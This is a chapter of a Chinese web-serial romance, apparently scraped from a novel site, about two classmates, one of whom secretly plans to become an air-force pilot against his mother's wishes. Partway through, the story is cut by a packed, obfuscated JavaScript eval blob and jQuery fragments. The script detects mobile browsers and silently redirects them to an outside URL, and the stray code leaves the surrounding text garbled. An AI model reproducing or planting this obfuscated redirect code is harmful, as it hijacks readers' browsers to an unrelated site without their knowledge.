19. 光海

作品:《老鼠和粥[破镜重圆]

    “你爸和你一样没记性,我和他离婚抚养权也在我手上,就算你现在成年了又怎么样,血缘上法律上我都是你妈。”


    “家里不缺你吃不缺你喝,你说想放松心情我们也让你来这小县城上学,还想怎么样呢?”


    客厅寂静无声,母子二人沉默对峙,彼此呼吸一起一伏急切又强势。


    意识到自己说话过重,裴母放缓声音,开始走“怀柔”路线,她牵起裴林之的手放在手心摩擦。


    “这样吧咱们两个各退一步,不报经管和政法也没关系,你可以选择任何专业,只要不是飞行员。”


    “你想想大伯当年就是因为试飞时出了事而丧失生命,咱不能往亲戚的心上扎刀啊!”


    裴林之没说话,但渐渐耸下的肩膀和打开的拳头暴露了他的动摇。


    “妈来就是看看你,不是专门和你过不去。”


    声音逐渐变小,到最后世界重归安静,几乎听完全程的陆知鱼盯着天花板,感叹竟然每个人都有难以言说的一面。


    翻了个身,心沉下去,陆知鱼用被子蒙住头,闭眼逼迫自己进入梦乡。


    楼下传来的关门声彻底赶走她的瞌睡虫。


    看了眼手机,距离闹钟响起还有十五分钟。


    睡指定是睡不着了,她打开与裴林之的聊天界面,手指悬在键盘上空,踌躇不决。


    如果问了,是不是会显得多管闲事?


    如果不问,他会不会一个人消化情绪?


    心中的天平又开始抉择,每动摇一下另一边又会加码,陆知鱼甚至怀疑自己不是狮子座而是天秤座。


    选择困难症的重疾患者。


    想了半天,想到闹钟按时响起也没抉择出个所以然,陆知鱼按灭后认命起身穿衣。


    和妈妈打了招呼后,一推开门扑面而来是浓厚的烟味。


    冲着灰色墙面她翻了个白眼,心里暗骂抽烟的人真没素质,走下楼后发现靠在墙边的裴林之。


    蓝白色校服穿在身上,勾勒出宽肩窄腰的良好身材,上半身懒洋洋倚在墙面,一只腿弯曲,一只腿支撑全身。


    食指和中指夹着一根点燃的烟,在陆知鱼转过身是正好从口中抽出,带出一团烟雾。


    烟雾渐渐飘散在空中,少年棱角分明五官端正的脸出现在眼前。


    本该在阳光下肆意欢笑的眼中满是冰寒之意,鼻尖的红痣也跟着加深颜色。


    见到下楼的陆知鱼,眸光骤然缩了下,最后移开目光,提起烟又吸了一口。


    挑衅、肆意、目中无人。


    捏了捏手心,陆知鱼呼出口气准备从他身边经过。


    在当事人面前,她选择了避而不谈。


    别人的事情和她没关系。


    在双脚迈出单元门的一刻,陆知鱼停下脚步,直直看向身旁的裴林之。


    “烟,掐了。”


    对方没想到她会说话,吐烟的动作一顿,顺着吸气灌回喉咙,刺激起猛烈咳嗽。


    趁此机会,陆知鱼打掉烟蒂用脚按灭。


    “宋连琴鼻子超级灵,不想成为她取乐的对象,劝你散好味再回来。”


    说完,摆出电视剧里高深莫测的重要配角的样子,昂首挺胸走出楼道。


    室外车水马龙,结伴上学的学生嬉笑打闹,陆知鱼边走边给自己舒气。


    她刚刚疯了吧,竟然多管别人的闲事。


    -


    一周一次的例行班会,包月站在讲台前讲述最近教学注意事项,说到艺考生请假时,提了下裴林之。


    “裴林之,你报名了空军飞行员是吧,过几天去体检?”


    此话一出,全班目光聚焦在他的身上,有些人按耐不住小声讨论起来。


    “185确实很适合当飞行员。”


    “飞行员?空哥吗?”


    “傻逼,那叫空少。”


    宋连琴听着她们无脑发言觉得好笑,连酒窝都藏着不屑:


    “空军飞行员可是军人,要开战斗机的,可不是什么服务人的空少空哥。”


    在同学们的议论纷纷中,裴林之从试题中抬头,对包月点了点头。


    “行,哪天要请假让你家长给我发个消息。”她又说了一些其他老生常谈的话题,知道高三生时间宝贵,很快吩咐大家自习。


    陆知鱼盯着空白试卷,思绪又开始放空。


    按她听到的版本,裴母已经明确拒绝了裴林之报考飞行员的事件,而现在裴林之当着全班人的面说自己要去体检,这让她有些困惑。


    不知不觉她在试卷上写下真假二字,写完后意识到自己太多管闲事,疯狂划掉。


    没想到劲儿过大,划穿了试卷。


    伴随她压抑烦躁的呼气而来的,是前面扔来的纸条。


    陆知鱼狐疑掀起眼皮睨了眼仿佛什么都没干的背影,手指不受控制自动打开纸条。


    里面字迹苍劲有力,看得出主人的潇洒不羁。


    晚上放学一起走?


    在只有笔划触纸上的沙沙声中,陆知鱼杏眼骤然收缩,随后胸口传来急促跳动,几乎汲取了全部空气。


    他什么意思?


    纸条在手心里微微颤抖,仿佛与主人的心脏联动,陆知鱼几番想要握紧手心撕碎纸条,试了几次反反复复就是狠不下心。


    最后败退认命,拿出笔划拉几下扔了回去。


    “嗯。”


    真没出息,陆知鱼暗骂自己。


    她咬了咬舌尖,试图通过这种方式惩罚自己,下课铃此刻打响,同学们一窝蜂涌出大门,陆知鱼安稳坐在椅子上,等待前面人收拾完。


    “走吧。”裴林之背起书包,音色平淡,没有看她。


    陆知鱼嗯了声,默默跟在他身后走。


    宋连琴这次走的也慢,看见他们插在了中间。


    “好羡慕秦筱筱下午不用上学,去铁西参加婚礼,没有听见包月的唠叨。”


    她勾着陆知鱼的脖子,出声吐槽班主任真是更年期的典型代表,一点就着就算了,还啰里啰嗦的。


    顺畅的楼道内,裴林之清凉的声音隐隐回声,“是啊,真羡慕,我也想去铁西玩一玩。”


    脚下台阶像复制黏贴的贴纸,上面的瓷砖花纹一致,盯得久了眼前开始变花。


    陆知鱼一个不注意,又一次踩空,宋连琴没拉住被裴林之捏着书包带提溜回来。


    两人都没说话,氛围也是出奇的冷,宋连琴是个人精也跟着闭上了嘴巴。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376459|153080||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    想她堂堂陆知鱼,楼上楼下跑五年,没有一次摔倒踉跄,可升入高三后仿佛与楼梯结了仇,每过几天就要摔倒一次。


    不过陆知鱼并不是因为此事分神,在只有脚步声的楼道内,脑子空白,浑身发凉。


    陆知鱼上午提出一起走被拒绝,秦筱筱下午没来上学后裴林之主动说一起回家,三件事连起来只能推出一个结论:


    她是planB。


    好恶心。


    一想到这个结论,想到自己只是别人的备选,陆知鱼胃里又和早上一样翻云覆海,甚至比早上更严重。


    真是感谢下楼时的震颤,掩盖了她自内而外地哆嗖。


    宋连琴不与他们顺路,出了教学楼后往南门走去,人烟稀少的校园里只剩二人。


    本来有一大段话想和裴林之分享的陆知鱼,此刻只想逃离这个环境。


    冷静如她,却无法调理备选这件事。


    即使不是第一次遇到这种情况,以前交朋友时也不是第一选择,可绝对是最生气的一次。


    那天从草地回来,陆知鱼和裴林之说不想和他当朋友,想和他当可以推心置腹,超越异性的真心朋友,可现在想想,就是一场巨大的笑话,放在剧场里可以提前告罄一年的门票!


    她越想越气,大脑感受到主人的情绪,吩咐泪腺分泌液体。


    陆知鱼狠狠掐着手心,以此分散大脑的注意力。


    夜幕深沉,周围居民楼配合路灯照亮街道,把人的影子拉扯长。


    两人谁也没先说话,别扭的走出校门。


    校门口经常有烤串烤冷面的小摊,香味溢在空气里,在人烟带动下四处飘散。


    “它家的烤冷面挺好吃。”裴林之忍受不了微妙气氛,率先打破。


    应该是和秦筱筱一起吃的吧。


    陆知鱼看了眼他指向的最边上的小摊车,故作高冷的嗯了声。


    二人又走了几步,陆知鱼心想人都主动开了口,自己不说点什么显得没礼貌,按下对他的不满,装作关心询问了飞行员体检的地方。


    “在江市。”路灯下,裴林之头顶金黄,单肩背着包背倒着行走,去看陆知鱼的表情。


    “听说红肠很有名,我给你带点回来。”


    “好。”莫名其妙的“我给你”戳中了陆知鱼的点,藏在胸腔的气没出息散了些。


    心情一舒畅,她又想起中午听到的事情。


    作为朋友,关心他一下应该没问题吧。


    这边想着,她说出了口:“其实中午我听到你和阿姨吵架了。”


    声音消散在黑夜里,裴林之愉悦步伐稍微停滞,路灯下他深邃的眼眸戾气一闪,下一秒他开口。


    声音冷硬,不耐地语气丝毫不掩:


    “和你有关系吗?”


    陆知鱼还沉浸在为下一段话语做准备的阶段,听到他的反问一时间没反应过来,顶着无辜双眼啊了一句。


    “我说,”他舌尖抵了抵脸侧,插着兜附身在陆知鱼面前,遮挡住身后的光线。


    眸色冷冽,语气严峻,整个人仿佛暴风雨来临前的大风。


    每说一个字,就在人最脆弱的地方席卷一圈:


    “和你有关系吗?”